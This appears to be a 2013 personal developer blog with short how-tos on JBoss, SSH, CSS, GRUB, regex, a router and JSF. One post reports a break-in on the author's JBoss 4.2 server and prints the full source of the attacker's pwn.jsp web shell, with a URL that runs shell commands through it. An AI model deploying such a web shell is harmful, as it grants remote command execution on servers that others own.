The best place to *find* answers to programming/development questions, imo, however it's the *worst* place to *ask* questions (if your first question/comment doesn't get any up-rating/response, then u can't ask anymore questions--ridiculously unrealistic), but again, a great reference for *finding* answers.

My Music (Nickleus)

20131030

eclipse svn subversion - "compare with > revision" disabled/greyed out

when i tried comparing an entire eclipse project with a revision, the "revision" option was disabled.

i was still able to compare individual files with a previous version though, so all was not lost :)

20131029

how to test html/css/javascript/dom code live in firefox for debugging purposes

open the webpage you want to debug

open the firefox web developer "web console":
tools > web developer > web console
(or just do ctrl+shift+k)






now just paste the code you want to run, to debug your webpage, and it will run when you hit "enter". in this example, that code in the textfield at the bottom of the debugger window will close the context menu you see in the background.

20131023

how to run jboss server as jboss user

it's safer to run jboss as the jboss user, so a hacker can't do anything outside of the "jboss home" (where you installed jboss, e.g. /usr/jboss )

here's how i set it up (will gladly take constructive input):

i created a new service template file based on JBoss' file:
bin/jboss_init_redhat.sh

and called it jboss.service.template.nick.sh and put it here:
bin/jboss.service.template.nick.sh

here are the contents:
###########jboss.service.template.nick.sh###########

#!/bin/sh
#
# $Id: jboss_init_redhat.sh 60992 2007-02-28 11:33:27Z dimitris@jboss.org $
#
# JBoss Control Script
#
# To use this script run it as root - it will switch to the specified user
#
# Here is a little (and extremely primitive) startup/shutdown script
# for RedHat systems. It assumes that JBoss lives in /usr/local/jboss,
# it's run by user 'jboss' and JDK binaries are in /usr/local/jdk/bin.
# All this can be changed in the script itself.
#
# Either modify this script for your requirements or just ensure that
# the following variables are set correctly before calling the script.
#
#    UPDATED 20131023 BY NICK, FOR RUNNING AS USER jboss
#
#    HOW TO CONFIGURE THIS AS A "SYSTEM SERVICE" (although i've configured it to stay open and dump output to the console, and can be stopped by just doing ctrl+c) AND RUN AS jboss USER:
#    * create jboss user (the password you give the jboss user is the password that will be asked for when you start jboss as the jboss user--see commands farther down, i.e. "HOW TO START/RUN.."):
#        sudo useradd -d /usr/jboss -s /bin/bash jboss
#    * make jboss user own the /usr/jboss folder:
#        sudo chown -R jboss:jboss /usr/jboss
#    * edit this file (as jboss user) so paths are correct, for every block of code titled "EDIT/CONFIGURE"
#        sudoedit -u jboss /usr/jboss/bin/jboss.service.template.nick.sh
#    * copy this file to /etc/init.d:
#        sudo cp /usr/jboss/bin/jboss.service.template.nick.sh /etc/init.d/jboss
#    HOW TO START/RUN JBOSS DOMAIN:
#    * to run myapp as jboss:
#        service jboss start myapp
#    * to run myapptest as jboss:
#        service jboss start myapptest
#    * to run myappprod as jboss:
#        service jboss start myappprod
#
#    NOTE: THIS FILE IS BASED ON JBOSS' OWN TEMPLATE FILE: <jboss-home>/bin/jboss_init_redhat.sh
#
#    HOW TO UPDATE /usr/jboss FROM SVN SINCE USER jboss OWNS IT:
#        cd /usr/jboss
#        sudo svn up .
#
#        IF YOU GET CONFLICTS ON UPDATE AND SEE SOMETHING LIKE THIS:
#            Conflict discovered in 'run.sh'.
#            Select: (p) postpone, (df) diff-full, (e) edit,
#            (h) help for more options:
#
#        ...AND YOU WANT TO LOAD ALL CHANGES FROM SVN ("UPDATE AND OVERRIDE LOCAL CHANGES"), CHOOSE "theirs full (tf)":
#            tf
#
#        FINALLY, REASSIGN USER jboss TO OWN /usr/jboss:
#            sudo chown -R jboss:jboss /usr/jboss
#


#define where jboss is - this is the directory containing directories log, bin, conf etc
#JBOSS_HOME=${JBOSS_HOME:-"/usr/local/jboss"}
####### EDIT/CONFIGURE #######
JBOSS_HOME=${JBOSS_HOME:-"/usr/jboss"}
##########################


#define the user under which jboss will run, or use 'RUNASIS' to run as the current user
#JBOSS_USER=${JBOSS_USER:-"RUNASIS"}
##### EDIT/CONFIGURE #####
JBOSS_USER=${JBOSS_USER:-"jboss"}
##########################


#make sure java is in your path
#JAVAPTH=${JAVAPTH:-"/usr/local/jdk/bin"}
##### EDIT/CONFIGURE #####
JAVAPTH=${JAVAPTH:-"/home/me/jdk1.6.0_11"}
##########################


#configuration to use, usually one of 'minimal', 'default', 'all'
#JBOSS_CONF=${JBOSS_CONF:-"default"}
JBOSS_CONF=${JBOSS_CONF:-"$2"}

#if JBOSS_HOST specified, use -b to bind jboss services to that address
##### EDIT/CONFIGURE #####
JBOSS_HOST="0.0.0.0"
##########################

JBOSS_BIND_ADDR=${JBOSS_HOST:+"-b $JBOSS_HOST"}

#define the classpath for the shutdown class
JBOSSCP=${JBOSSCP:-"$JBOSS_HOME/bin/shutdown.jar:$JBOSS_HOME/client/jnet.jar"}

#define the script to use to start jboss
JBOSSSH=${JBOSSSH:-"$JBOSS_HOME/bin/run.sh -c $JBOSS_CONF $JBOSS_BIND_ADDR"}

if [ "$JBOSS_USER" = "RUNASIS" ]; then
  SUBIT=""
else
  SUBIT="su - $JBOSS_USER -c "
fi

if [ -n "$JBOSS_CONSOLE" -a ! -d "$JBOSS_CONSOLE" ]; then
  # ensure the file exists
  touch $JBOSS_CONSOLE
  if [ ! -z "$SUBIT" ]; then
    chown $JBOSS_USER $JBOSS_CONSOLE
  fi
fi

if [ -n "$JBOSS_CONSOLE" -a ! -f "$JBOSS_CONSOLE" ]; then
  echo "WARNING: location for saving console log invalid: $JBOSS_CONSOLE"
  echo "WARNING: ignoring it and using /dev/null"
  JBOSS_CONSOLE="/dev/null"
fi

#define what will be done with the console log
#JBOSS_CONSOLE=${JBOSS_CONSOLE:-"/dev/null"}
JBOSS_CONSOLE=

JBOSS_CMD_START="cd $JBOSS_HOME/bin; $JBOSSSH"
JBOSS_CMD_STOP=${JBOSS_CMD_STOP:-"java -classpath $JBOSSCP org.jboss.Shutdown --shutdown"}

if [ -z "`echo $PATH | grep $JAVAPTH`" ]; then
  export PATH=$PATH:$JAVAPTH
fi

if [ ! -d "$JBOSS_HOME" ]; then
  echo JBOSS_HOME does not exist as a valid directory : $JBOSS_HOME
  exit 1
fi

case "$1" in
start)
    cd $JBOSS_HOME/bin
    if [ -z "$SUBIT" ]; then
#        eval $JBOSS_CMD_START >${JBOSS_CONSOLE} 2>&1 &
        eval $JBOSS_CMD_START 2>&1
    else
#        $SUBIT "$JBOSS_CMD_START >${JBOSS_CONSOLE} 2>&1 &"
        $SUBIT "$JBOSS_CMD_START 2>&1"
    fi
    ;;
stop)
    if [ -z "$SUBIT" ]; then
        $JBOSS_CMD_STOP
    else
        $SUBIT "$JBOSS_CMD_STOP"
    fi
    ;;
restart)
    $0 stop
    $0 start
    ;;
*)
    echo "usage: $0 (start|stop|restart|help)"
esac

########################################



the section in the comments at the top of the file, "HOW TO CONFIGURE THIS...", tells you exactly what you need to do to make it work

the orange code are my implementation comments/examples

the red code is code i've commented out based on JBoss' bin/jboss_init_redhat.sh

the green code is code i've added OR modified to make this work


NOTE: this was implemented for jboss 4.2 on an ubuntu 8.10 machine

20131022

share files between two ubuntu machines: forget samba! use ssh, in nautilus

man, samba is a nightmare!

we have an old ubuntu 8.10 server where we run jboss as its own user, jboss.

to allow us to edit files on that server through the file browser nautilus, i tried configuring samba for hours, with no luck.

then i read this:
share folders between two Ubuntu 12.04 machines


the super simple and safer solution is to use SSH!

i first tried connecting in nautilus, without doing any configuration:
Files > Connect to server:
ssh://jboss@myserver

but it wouldn't connect, so i checked the ssh log:
cat /var/log/auth.log

and i saw this:
Oct 22 13:29:22 myserver sshd[17101]: Accepted password for jboss from 10.0.0.155 port 40905 ssh2
Oct 22 13:29:22 myserver sshd[17104]: subsystem request for sftp
Oct 22 13:29:22 myserver sshd[17104]: error: subsystem: cannot stat /usr/libexec/openssh/sftp-server: No such file or directory
Oct 22 13:29:22 myserver sshd[17104]: subsystem request for sftp failed, subsystem not found


so, i tried finding sftp-server:
locate sftp-server

/usr/lib/sftp-server
/usr/lib/openssh/sftp-server
...



so, here's all i had to do to get it to work:
sudoedit /etc/ssh/sshd_config

the last line looked like this:
Subsystem      sftp    /usr/libexec/openssh/sftp-server

change that to this:
Subsystem      sftp    /usr/lib/openssh/sftp-server

then restarted ssh:
sudo /etc/init.d/ssh restart

! :)

20131021

jboss 4.2 hacked by pwn.jsp

we found the following hack on our old jboss server this morning:
/path/to/jboss/server/mydomain/deploy/tmp5177256507206829158a-exp.war

the war has the following package structure:
├── META-INF
│   └── MANIFEST.MF
├── pwn.jsp
└── WEB-INF
    ├── lib
    └── web.xml

pwn.jsp

<%@ page import="java.util.*,java.io.*"%>
<%
String cmd;
String[] cmdarr;
String OS = System.getProperty("os.name");


    if (request.getParameter("cmd") != null) {
        cmd = new String (request.getParameter("cmd"));
      if (OS.startsWith("Windows")) {
       cmdarr = new String [] {"cmd", "/C", cmd};
      }
      else {
       cmdarr = new String [] {"/bin/sh", "-c", cmd};
      }
      Process p = Runtime.getRuntime().exec(cmdarr);
      OutputStream os = p.getOutputStream();
      InputStream in = p.getInputStream();
      DataInputStream dis = new DataInputStream(in);
      String disr = dis.readLine();
      while ( disr != null ) {
        out.println(disr);
        disr = dis.readLine();
      }
    }
%>



web.xml

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE web-app
    PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
    "http://java.sun.com/dtd/web-app_2_3.dtd">
<web-app>
</web-app>



when this gets deployed, you can run shell commands like this:

http://localhost:8080/tmp5177256507206829158a-exp/pwn.jsp?cmd=touch%20~/test

this creates a file called test in the home directory

the hacker can't however run any sudo commands, and can only run commands as the user that jboss is running as.

see also:
http://i8jesus.com/?p=191
https://www.netspi.com/blog/entryid/126/hacking-with-jsp-shells


TODO

run jboss as jboss user

20131015

how to specify richfaces/html tags in a css stylesheet for id values containing a colon, e.g. id="AAA:BBB:tu"

when richfaces renders IDs in html, often they contain colons like this:

<table id="AAA:BBB:tu"...

when i try using that id in a css stylesheet like this:

#AAA:BBB:tu td {
    display:none;
}


it doesn't work. however THIS works, both in firefox and internet explorer 10:

table[id='AAA:BBB:tu'] td {
    display:none;
}



thanks so much to handling css id and classes with spaces


20131010

sahi - how to assert whether an html select option is selected or not

_option("FullReceived").selected

the above code is just a partial. here are some examples of implementations:

assuming that it IS selected, i.e. expecting a "true" value to be returned:
_assert(_option("FullReceived").selected);

and if/else test:
if(_option("FullReceived").selected) {
  ...
} else {
  ...
}


[SOLVED] ubuntu 13.04 shift not working to get into recovery mode, freezes on boot at "loading initial ramdisk"

after i changed the video driver in Software and Updates > Additional Drivers from "Using video driver for the AMD graphics accelerators from fglrx (opensource)" to "using X.org X server - AMD/ATI display driver wrapper from xserver-xorg-video-ati (open source, tested)", when i rebooted, ubuntu would freeze on startup at "loading initial ramdisk".

i read several places that in order to get into recovery mode, you need to hold down shift after the BIOS splashscreen, but that didn't help, i never got the grub list of kernels and modes to choose from.

to fix this, i had to turn off the laptop, take out the SSD disk and connect it to another computer so i could edit the following file:
/boot/grub/grub.cfg

that file isn't writeable so in a terminal you need to make it writeable for root, like this (when you connect/mount the disk onto another ubuntu machine, the path looks something like the one below):
sudo chmod 644 /media/disk/grub/grub.cfg

now edit the file:
sudo gedit /media/disk/grub/grub.cfg

starting on line 81 i think there's a block of code for setting timeout; change timeout from 0 to 10, so it looks like this:

if [ "${recordfail}" = 1 ]; then
  set timeout=10
else
  set timeout=10
fi



save the file, unmount the disk from the other ubuntu machine, put it back into your laptop, boot, hold in the shift key after the bios splashscreen shows, THEN you'll get into grub :)

choose the option that looks something like Alternatives (can't remember the actual name, but i think it was the second choice from the top), then choose the most recent kernel that ends in "(recovery mode)" :)

20131008

regex regexp regular expressions - how to find all xml/xsl border-width attributes not value "0.00mm"

say i have hundreds of similar xsl code blocks like the one below:

<fo:block-container border-color="#ff0000"
    border-style="solid" border-width="0.10mm" background-color="transparent"
    left="90.05mm" top="50.05mm" height="7.90mm" width="19.90mm"
    margin-left="0.00mm" margin-top="0.00mm" margin-right="0.00mm"
    margin-bottom="0.00mm" position="absolute">
    <fo:block text-align="start" space-after.optimum="0pt"
        line-height="8pt" font-family="Helvetica" color="#000000"
        font-size="6pt" font-style="normal" font-weight="normal">
        22 Stedsnr.
    </fo:block>
</fo:block-container>





if you want to find all code blocks with attributes that don't contain a border-width attribute with the value "0.00mm", then use the following regular expression:

border-width="(?!0\.00)[0-9\.]+mm"

explanation:
(?!0\.00) means don't match the string 0.00

but match any length of a combination of numbers and periods, [0-9\.]+, preceding the string "mm"


20131002

NetCom Huawei E5776 (E5776s-32) 4G miniruter/lommeruter/ruter til mobilt bredbånd funker helt fint på ubuntu linux 13.04

Jeg kjøpte NetCom sin Huawei E5776 (E5776s-32) 4G miniruter med 10GB mobilt bredbånd abonnement og den funker helt fint på ubuntu linux 13.04.

Jeg koblet ruteren til strømforsyningen for å lade den. Startet den og fikk beskjed om å taste inn pin koden (Enter PIN), men man gjør det i nettleseren (les videre).

Koble til ruteren sitt nettverk fra datamaskinen (nettverket til 4G-ruteren min heter f.eks. "4G-Mobile-WiFi-8E3A").

Nå får du beskjed om å taste inn WIFI nøkkel (WiFi Key). For å finne nøkkelen, "dobbelklikk" på "WPS"-knappen på ruteren (trykk knappen raskt 2 ganger). Den viser først SSID-en (nettverkets navn), og etter ca 5 sekunder viser den WiFi nøkkelen (8 alfanumeriske siffer på min).

På datamaskinen, gå til følgende adresse:
http://192.168.1.1

brukernavn: admin
passord: admin

Jeg husker at jeg da fikk beskjed om å verifisere PIN-koden til ruteren, og den koden finner du på baksiden av SIM-kortet "rammen" ("kredittkortet" SIM-kortet ble levert i, før du detach-a SIM-kortet fra rammen).

Da var alt klart :)


UPDATE 20131003, SPEED TEST RESULTS


(Gode) Resultater fra hastighetstester ( http://speedtest.net ):
Heggedal, inne, 3G: oppi 2.6 Gb/s nedlasting (testet ikke opplasting)
Oslo S, i kontorbygning, 4G: oppi 20 Gb/s nedlasting, oppi 15 Gb/s opplasting

Genialt! Jeg er veldig fornøyd! :)

20131001

richfaces jsf xhtml - how to append/concat/concatenate string from backing bean value to messages message label in EL expression

here's normal code for a normal label:
<h:outputText value="#{msg['general.costdeviation.status.accepted']}" id="status" />

which will output the locale-dependent text for the label general.costdeviation.status.accepted, e.g. for english:
Accepted


but what if i want to dynamically ask for labels depending on the postfix, e.g. if i have multiple labels with an identical prefix, e.g.:
general.costdeviation.status.accepted=Accepted
general.costdeviation.status.negotiating=Negotiating
general.costdeviation.status.open=Open
general.costdeviation.status.proposed=Proposed


here's how you'd do it, dynamically:
<h:outputText value="#{msg['general.costdeviation.status.'.concat(detail.status)]}" escape="false" id="status" />

where the backing value for #{detail.status} can be one of the following:
accepted
negotiating
open
proposed




thanks to this post: Concatenating strings within EL expression defined in an attribute of a facelets tag